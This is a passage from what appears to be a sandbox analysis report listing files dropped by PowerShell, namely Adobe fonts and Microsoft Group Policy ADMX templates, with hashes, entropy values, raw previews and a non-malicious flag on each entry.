Preview:	OTTO.......PBASEe.]........FCFF M.X........VDSIG............GPOS.A\|.... ...GSUB..1.......2&OS/2br.e...@...`cmapdJ.j...X....head.tV........6hhea.&.........$hmtx+..=........maxp.DP....8....nameO..........post...2...`... ..........._.<..........}.......x....................................'...................D..P..D.....9.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q.........!.\|.....................9.....................................}.....................$.........................q.............................................B........... ...........r.7......... .......................4.......................2...........H./............. 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProBold Italic2.113;ADBE;MinionPro-BoldIt;ADOBEMinion Pro Bold ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-BoldItMinion is eith

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	252108
Entropy (8bit):	7.069665241195929
Encrypted:	false
SSDEEP:	6144:H5Pf8kkiiO4vviV+eehOtHU5VLO+++A3++awYHt:H5n8qrIthf5VU2Ht
MD5:	45E2315E99F24AB596F9D3AED29A0FC3
SHA1:	A73342DB05275C6858984F25C0D1278E93BFBEE9
SHA-256:	90DEF22F2B7B3E4AA78A160084A7A2C8F28883B700ABAEDC004DC74CBC2D9B4C
SHA-512:	1D479BEDA9F70055B0596E18D9F41DACE4141DEFB3BA9D01F21C0262E889FE37B7D9F3558B37E7716196DE5C2AA7668BB8B115A5BF4540763239F22A4D530CF9
Malicious:	false
Preview:	OTTO.......PBASEe.]........FCFF .g.,...L....DSIG............GPOSkj`O...X...4GSUB..1.......2&OS/2`F.....@...`cmapdJ.j...$....head..V........6hhea.C.........$hmtx\|...........maxp.DP....8....namec\|..........post...2...,... ..........yE_.<..........}.......x..7...............................7./...................C..P..D.....!.........X...K...X.J.^.2..............`...............ADBE... ...........h .............. .......>.........g.............g...........q...........w.....................9.....................................k...........z.........$.........................q.............................................:.......................r.........................x.........4.z.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProItalic2.113;ADBE;MinionPro-It;ADOBEMinion Pro ItalicVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-ItMinion is either a registered tr

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MinionPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	210808
Entropy (8bit):	7.107882344262286
Encrypted:	false
SSDEEP:	3072:kP2Ea79vZp3MeJymLbVQbKH3L9jLU2jRM5eUlVsXGUPHTfeoAL3sBgL/4tHRkBDB:kP2h76QRMUoVsXdwsBw/kxkBgW
MD5:	A4EA2690CFD854B24C968AC6CDCE9C33
SHA1:	EFC3BC793479DF1A34D76C42063997AD0E73C6B6
SHA-256:	327CB2238A82A89176FF6601139CBD0A5CDD8F8E1E057343EAE13FA9B1E10AB8
SHA-512:	F722B32C397179B25E33B88771CB588C6F23A615533E3DCB21B34052E2930F935DAB58B7EE5A3098912A41E6266B5F26B86602CF57BFF41917D634E55A86C52E
Malicious:	false
Preview:	OTTO.......PBASEe.]...Q`...FCFF .......H..9.DSIG......7p....GPOS.3.t..Q....rGSUB...G......*.OS/2`E.....@...`cmap_E9.........head.5T........6hhea...........$hmtx.4.........Xmaxp..P....8....name.O.........ypost...2...(... ............_.<..........{.......x....................................v......................P..................X...K...X...^.2..............`...............ADBE... ...........h .............. .......2.........g.............g...........q.........".x...........g.........9.....................................e...........t.........$.............q.............................................D..........."...........r...........".............y.........4.{.....................2...........H............... 1990, 1991, 1992, 1994, 1997, 1998, 2000, 2002, 2004 Adobe Systems Incorporated. All rights reserved.Minion ProRegular2.113;ADBE;MinionPro-Regular;ADOBEVersion 2.113;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.5900MinionPro-RegularMinion is either a registered trademark or a trade

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90456
Entropy (8bit):	6.813831131460659
Encrypted:	false
SSDEEP:	1536:ruMpOn479vZp3MeJymLbVQbZg8Lm52cqU5mJm2Tg9gHsF+JSqyi+GGGCRqBtUwah:CU179vZp3MeJymLbVQbZ3CrqUwJmStEh
MD5:	E6D1585E6C81E3206948D8548D914FEC
SHA1:	4BFA4D5AD9995BD89E2D443009E4FFB728A1F74B
SHA-256:	2D09971801F2C18FC5A825379404113DB237866073AB463A9BF0F3DA8C62459A
SHA-512:	058CF93EA2BE4E98E752A4090F295E00BAD37B7DB9D4461CF7484409AF5087853653FD82AA7475A85950B48367A1D9168CC8983791B78DABEB8AF4F84397A264
Malicious:	false
Preview:	OTTO.......PBASEe%].......FCFF ..r.........DSIG......aP....GPOS8........M.GSUB.'$(..A....^OS/2_V.....@...`cmapJ.3C........head...........6hhea...........$hmtx..i...T....Hmaxp.RP....8....name...........Fpost...2....... .......dt..._.<..........N........x..]...............................].\...................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y...........]...........\|.........:...................................!.T...........u.........$.........................P...........d.........>.l.....................t.........................:.........4.<.........B.p.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold2.107;ADBE;MyriadPro-Bold;ADOBEMyriad Pro BoldVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	92636
Entropy (8bit):	6.860831645020259
Encrypted:	false
SSDEEP:	1536:fpMBiTX79vZp3MeJymLbVQbaRRQQmzcJfttExKBUBq8YRfyraMvxvxM+RP/YxTRV:hA879vZp3MeJymLbVQbaRRQzzcJfttEo
MD5:	01E3D8472C3CBC43799FED290B0DC219
SHA1:	916A7E55B47D079E0BF0E3FEA9EF8F48AF3D53C4
SHA-256:	7BCFA54CB8FB5B64DFE36F411D5265F7F71DC6F3B685C7ED0EB3753EE194BB45
SHA-512:	E70A72670E5267582BD652ABC73DE091D8978856B757001C7B5EFCC110A331B45EE0334C5864685C3054B627E0C750A050396842ED66C43A8B43AA33E6342B1C
Malicious:	false
Preview:	OTTO.......PBASEe%]....T...FCFF ..V....8....DSIG......i.....GPOSg.K......JFGSUB!Y=>..H.....OS/2_W.;...@...`cmapJ.3%...,....head.x........6hhea.\|.........$hmtx..\...\\|...Xmaxp.VP....8....name..Ul........post...2....... .......d..I:_.<..........N........x..7...............................7.....................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y.........!.d.....................:...................................!.f.....................$.....................................t.....................B........... ...........t........... .............t.........4.v.........B...........2...........H... 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProBold Italic2.107;ADBE;MyriadPro-BoldIt;ADOBEMyriad Pro Bold ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-BoldItMyriad is either a registered trademark or a trademark of Ado

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	91132
Entropy (8bit):	6.90451917854644
Encrypted:	false
SSDEEP:	1536:E5Mgi/379vZp3MeJymLbVQbnbkVGcjf0DoEgNT8QcZaQwHhFzeKuvGujl2u1X2Y2:AFi79vZp3MeJymLbVQbnqVjf1EAXcN0D
MD5:	4413059068C27D82AD49621AE4AAEB5B
SHA1:	CA0E2F5CE7303031E1B97F6EB3402E45E3786A3B
SHA-256:	F234ADAFB66AD5E47A024FF4881C2EDC347D0453C15E811288EF10EB573CC33E
SHA-512:	5F68440FB0FE825A3742BDEB5EA089BB124D878DE7CEA74AB3270B888125F66D3E0EC62D562BCEEA194DC68CE9A40EA1BEF5D5980CE7EA207D91F04A20298412
Malicious:	false
Preview:	OTTO.......PBASEe%]....L...FCFF .\.........CDSIG......c.....GPOS<..y......JpGSUB!Y=>..C.....OS/2^+.....@...`cmapJ.3%........head..........6hhea...........$hmtx&.vA..V....Xmaxp.VP....8....namef..z.......[post...2....... .......d.C.._.<..........N........x..G...B.........................d.G.".B.................V..P..V...............X...K...X.D.^.2."............ ...............ADBE... ............ .............. .......&.........O.............O...........Y..........._...........\|.........:...................................!.T...........u.........$.....................................]...........q.........:.}.....................t.........................C.........4.E.........B.y.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProItalic2.107;ADBE;MyriadPro-It;ADOBEMyriad Pro ItalicVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-ItMyriad is either a registered trademark or a trademark of Adobe Systems Incorpo

C:\Users\user\AppData\Local\Temp\file\Resource\Font\MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	90404
Entropy (8bit):	6.8729134624051
Encrypted:	false
SSDEEP:	1536:SVM7Ouk79vZp3MeJymLbVQb2RG4m1Gnb0LBaJx1llp8PUUNMF7BM7omdoZNaDq5i:2QK79vZp3MeJymLbVQbtf1GRxH8sUN20
MD5:	1AED3BCF1B764F4AC6D9B988B0E724C0
SHA1:	6E149809FF93E683307AB3154FDD57EB24C5E9A3
SHA-256:	C812279DB1ED52876E3B59791645424CB4714CB710F60DA45F1B40757C3263E3
SHA-512:	8FB3591513BEE4D9C77EB6380D9F05E7E423434BF667759765D14CE8CDC89D969230516F271B28F508BA5FBA0E21B7623239E16C02599FA36B0900D199805BC4
Malicious:	false
Preview:	OTTO.......PBASEe%]....$...FCFF eAk........!DSIG......a.....GPOS.z....l..O.GSUB.'$(..At...^OS/2^.....@...`cmapJ.3C........head.>.H.......6hhea...?.......$hmtxAx}U..S....Hmaxp.RP....8....name.G........Rpost...2....... .......d..._.<..........N........x..c...f...........................c.b.f.................R..P..R...............X...K...X...^.2."............ ...............ADBE... ............ .............. .................O.............O...........Y.........".`...........O.........:...................................!.N...........o.........$.........................J...........^.........D.l........."...........t...........".............F.........4.H.........B.\|.........2...........H.. 1992, 1994, 1997, 2000, 2004 Adobe Systems Incorporated. All rights reserved.Myriad ProRegular2.107;ADBE;MyriadPro-Regular;ADOBEVersion 2.107;PS 2.000;hotconv 1.0.70;makeotf.lib2.5.58329MyriadPro-RegularMyriad is either a registered trademark or a trademark of Adobe Systems Incorporated in the Unite

C:\Users\user\AppData\Local\Temp\file\Resource\Globalization.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (330), with CRLF line terminators
Category:	dropped
Size (bytes):	32840
Entropy (8bit):	4.681155226503923
Encrypted:	false
SSDEEP:	384:rTze3Jw6gRfngRfrZwZ/vPF+Ok+nQ3CZCR9LZCRKO2fZ9Y8HtgOJAMG+/UISb16d:q5kZgZO0R9L0RK5fjYFMGar
MD5:	4319A6233386E02CD834EB0B3CC66391
SHA1:	1D8D05641A9DAFF5EA1E7845E7259980A2EB023B
SHA-256:	1D0D35A36242D4541B11895F8D3E562D074BECF1FB907AB3146D85492E2D11A4
SHA-512:	F4D26B0C087F1953741C1DCF5ED6602A63DB342FF394E7072AA86E71473B886ECEE367B2CAA23C85513A88F0E2370FFD81891A883D677EA343A164BBF42BA944
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="intl" namespace="Microsoft.Policies.Globalization" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RegionalOptions" displayName="$(string.RegionalOptions)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. <category name="NlsManagementCat" displayName="$(string.NlsManagementCat)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="InputPersonalization" displayName="$(string.InputPersonalization)">.. <parentCategory ref="RegionalOptions" />..

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicy-Server.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.119735964949222
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtFR6fZ0s6fE1k6fB36fm+dK9lKcUhdypKjcpQW66W2WWI2:3geDw08gmD1fZof+5fIfjKnKcS45x66d
MD5:	43B50ED71BF67B903327F3C019445704
SHA1:	A377CAB0BBC04FC0D4899FBEA4C95F45F912464D
SHA-256:	34DFA1131F30A091210A6CC09F32482950F35DB314026B629FB9938954447E47
SHA-512:	7BCFFC9A801E4C6E71AE522D0FDA4D67178612E1BB3679D0D9156D6F11103FB98A3399FC11EE65E90165FBD0C2521625025E0D5922D592D8EB30EEBEF971D9EF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="grouppolicy2" namespace="Microsoft.Policies.GroupPolicy2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="grouppolicy" namespace="Microsoft.Policies.GroupPolicy" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PolicyPolicies" displayName="$(string.PolicyPolicies)">.. <parentCategory ref="grouppolicy:PolicyPolicies" />.. </category>.. </categories>.. <policies>.. <policy name="ProcessTSUserLogonAsync" class="Machine" displayName="$(string.ProcessTSUserL

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicy.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (338), with CRLF line terminators
Category:	dropped
Size (bytes):	28932
Entropy (8bit):	5.044442931854654
Encrypted:	false
SSDEEP:	768:cfO/xE3Jl5wxDAN9IwF196nDsYCcJ+INL2myry7sWnmDQLWHPPfCzmaC:cfO/xE3Jl5ODAN9IwF196nDsYCcJ+INW
MD5:	7BBA0F65FC8B438E730B90BDBB3125EE
SHA1:	9A906D1AF4B576E29F6800444F0D9681A46A5689
SHA-256:	4A7ED44292F2F742ADBB1F1D8546DA5725C03804AB92B71D47E75BB9851C0D93
SHA-512:	C1D8DD62E87CF6BAD665B353B0A10F67574F102D20A5F13D6D275490695544FC6AB22C49A6B4A7B11706CA82899F75E41BBCA4A24C37ED511D963101E0C91826
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="grouppolicy" namespace="Microsoft.Policies.GroupPolicy" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PolicyPolicies" displayName="$(string.PolicyPolicies)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="EnableLogonOptimization" class="Machine" displayName="$(string.EnableLogonOptimization)" explainText="$(string.EnableLogonOptimization_Help)" presentation="$(presentation.SyncModeThreshold)" key="Software\Policies\Microsoft\Windows\System"

C:\Users\user\AppData\Local\Temp\file\Resource\GroupPolicyPreferences.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (341), with CRLF line terminators
Category:	dropped
Size (bytes):	100025
Entropy (8bit):	4.945759802580788
Encrypted:	false
SSDEEP:	1536:fNrYKNNY2NIYNu3YINMYMNCYVNKYANoY8NIY1NeY9NWYPNuY9NqYtNZYgNAY7NNK:i
MD5:	E5EEFEDA8F0ABF28AC1212C65EE8FC40
SHA1:	008C3A1A227F47FBE294FBDF387EF1EC360F7E5B
SHA-256:	D3F65A8AAB45871A82BB71C1CD8B974083DC3C853AB179469D37C92D1C96AE4F
SHA-512:	FA7AD1D078FB820A3AF4ED774AD1F24F3D81E8B40DEE738E8B07F3AD4DB52C71B591E0E64F951F7CC6BA30951C32114C3AACF00788B32FE4340BF9799580BC0F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pref" namespace="Microsoft.Policies.Preferences" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="GroupPolicy" namespace="Microsoft.Policies.GroupPolicy" />.. <using prefix="GPSnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="MMC" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <supersededAdm fileName="preferences.adm" />.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CSE_Logging" displayName="$(string.CSE_Logging)" explainText="$(string.CSE_Logging_Help)">.. <parentCategory ref="GroupPolicy:Polic

C:\Users\user\AppData\Local\Temp\file\Resource\Help.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	5.128352439380811
Encrypted:	false
SSDEEP:	48:3geDw08gmDvfmofT5m5D9Bwok1JUD9AwmSlC++DdAwWyVx1cnrdhq:QeD/mDvOo75czwok1JUiwmSlr+iwWyVV
MD5:	D26CEA9B9EE5EC07163A6AB8B8AA9FAD
SHA1:	E9050A4D31C54A5B98C2E6393CCB1666EA66D981
SHA-256:	27E2366A21D968547D1D885EF9B74AE074579DE756AE70D64E8F27E4B7AD0B4B
SHA-512:	C3B895511C7A31A57BBA29A206C059E0D88029494B136954C18D875F5E6CC5AD7D64FA809DEEB1CFCE875D836911B2C4A465955C05ABD3E752DBF50C5999F2D1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="help" namespace="Microsoft.Policies.WindowsHelp" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="HelpQualifiedRootDir_Comp" class="Machine" displayName="$(string.HelpQualifiedRootDir_Comp)" explainText="$(string.HelpQualifiedRootDir_Help)" presentation="$(presentation.HelpQualifiedRootDir_Comp)" key="Software\Policies\Microsoft\Windows\System">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_IE6SP1" />.. <elements>.. <text id="HelpQualifiedRootDir_Edit" value

C:\Users\user\AppData\Local\Temp\file\Resource\HelpAndSupport.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2830
Entropy (8bit):	5.096565987494709
Encrypted:	false
SSDEEP:	48:3geDwa8gmDpfAiofHKnKyNQ5hNRk9hdmQRcHwhdrQRdwhd/Rlwhq:QeDzmDp/ovKnKN5LRQdmQRndrQRed/R/
MD5:	2CDAC093621F00D645202EEB95FDF2C4
SHA1:	F80E4E941C78FC9E4CC0D7BBE0A734E56F2B608A
SHA-256:	83726689637BD44C21812AD9021BBAD19B0A85A09F07063B2B852C8CA3A5D9DB
SHA-512:	2D052FCC7DFD827C9BC172990A2106C307D9EF2838A0F2AA0C5FC4A02A52833CCF3096B4294FBAA91A3A3F84DAC9FEF6033D67E79E3F461B669CED06A1C15810
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="helppane" namespace="Microsoft.Policies.HelpAndSupport" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Assistance" displayName="$(string.Assistance)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ActiveHelp" class="Machine" displayName="$(string.ActiveHelp)" explainText="$(string.ActiveHelpPolicy_Explain)" key="Software\Policies\Microsoft\Assistance\Client\1.0" valueName="NoActiveHelp">.. <parentCategory ref="Assistance" />.. <supportedOn ref="windows:SUPPORTED_W

C:\Users\user\AppData\Local\Temp\file\Resource\ICM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	33946
Entropy (8bit):	4.861916976396124
Encrypted:	false
SSDEEP:	384:6x7hW/wLu8vjcUpvJQpG8WkjuLJvANlouQJvx7hW/ZD0TcyH8lzIuwyaavjvJQFf:lIWXJPMTqCx
MD5:	49E06CA0437B3304481663C146BCA142
SHA1:	ACC852AF5940B13BC2902060DC7BB2DC484B483C
SHA-256:	0341880DF2C92E784F62747B314C100709728C6927D059B2318A15FC45155164
SHA-512:	72ACC8887A204C14CFBCE8B409B317532A62BC90C152FDCECF02519BF5FEFA52EC19A78CAFE887AE85BFB47935F53592C4F8DA3E3F34B1E30A516DFF99361BD6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="icm" namespace="Microsoft.Policies.InternetCommunicationManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="InternetManagement_RestrictCommunication_1" class="User" displayName="$(string.InternetManagement_RestrictCommunication)" explainText="$(string.InternetManagement_RestrictCommunication_Help)" key="Software\Policies\Microsoft\InternetManagement" valueName="RestrictCommunication">.. <parentCategory ref="windows:InternetManagement" />.. <supportedOn ref="windows:SUPPORTED_WindowsXPSP2" />..

C:\Users\user\AppData\Local\Temp\file\Resource\IIS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	5.184703384323084
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtr6f50s6fE3+dK9lKUcpKjcpPor6GV2c+2F+2hJJo:3geDw08gmD7f5ofHKnKUQ52bz+2xq
MD5:	ED37C1AE3479B6581E2827CBBD590E00
SHA1:	78C96109DB5E132FBB4714580C93F1839FE2DA73
SHA-256:	E8ED531958372AF8532DF1AF384C5EA6EF6725AA25E140A2452C9DA9A27E9CC6
SHA-512:	BB6FBBCB4B96F2A44DD9CD3012324CA4E041D1DE8710E29FC7960ACE8B9FF88BE089FB573090A22D8FB9BF5845A3A72932279D2536A6D85F0899CAFA38656016
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="iis" namespace="Microsoft.Policies.IIS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="IIS" displayName="$(string.IIS)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PreventIISInstall" class="Machine" displayName="$(string.PreventIISInstall)" explainText="$(string.PreventIISInstall_Help)" key="Software\Policies\Microsoft\Windows NT\IIS" valueName="PreventIISInstall">.. <parentCategory ref="IIS" />.. <supportedOn ref="w

C:\Users\user\AppData\Local\Temp\file\Resource\InkWatson.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.13205915146749
Encrypted:	false
SSDEEP:	48:3geDw08gmDkfoofT5a8q3UhqqCwhdao+q3UhqqCwhq:QeD/mDkwo75Ksv7d/sv7q
MD5:	52EA2A438C50FECA9C6EBB75FD0EF7E4
SHA1:	E5702005EC16A2E40BC8343E49F3A39E5DD59285
SHA-256:	0FE2CB344CDCD5D8E8079566C4F78AC562DC45AE89F451226BBF4BCAF48D1351
SHA-512:	BDB4FCE21FF6B62A3998DC85E5857780207DF3DFB8819E733969D8287571ED06FCA1A3DADE0658785F60EB93F5FFED023F241263A666375D07D7C4C0E7069619
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="inkwatson" namespace="Microsoft.Policies.InkWatson" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="PreventHandwritingErrorReports_1" class="User" displayName="$(string.PreventHandwritingErrorReports)" explainText="$(string.PreventHandwritingErrorReports_Explain)" key="Software\Policies\Microsoft\Windows\HandwritingErrorReports" valueName="PreventHandwritingErrorReports">.. <parentCategory ref="windows:InternetManagement_Settings" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enable

C:\Users\user\AppData\Local\Temp\file\Resource\Kerberos.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	8592
Entropy (8bit):	5.046500188080839
Encrypted:	false
SSDEEP:	192:vYM2uQE6vU/KiFSwuPaNey1aJgrhoM6vdcqbq3mEL:ZqE6AKiFSwuPaNey1aJgrhoMEdcqbq3H
MD5:	EE5C3A4DC8F35F92E347C3E9092ADC76
SHA1:	FC54836F855366704D70F15D72E266A6E7B2517A
SHA-256:	20494174BF968DD6A5A933D18FEBB3FAF10E439AE39AFCD7685B4C1ECCCF5260
SHA-512:	45D4B22EC181A35DE8BBB430EB6C88C870816646B88A54A56A1E468B63EFEAFDD43BE7B02A092F95F46B41F1F9E029F67E2304E4B79C0F52408076A1939A5777
Malicious:	false
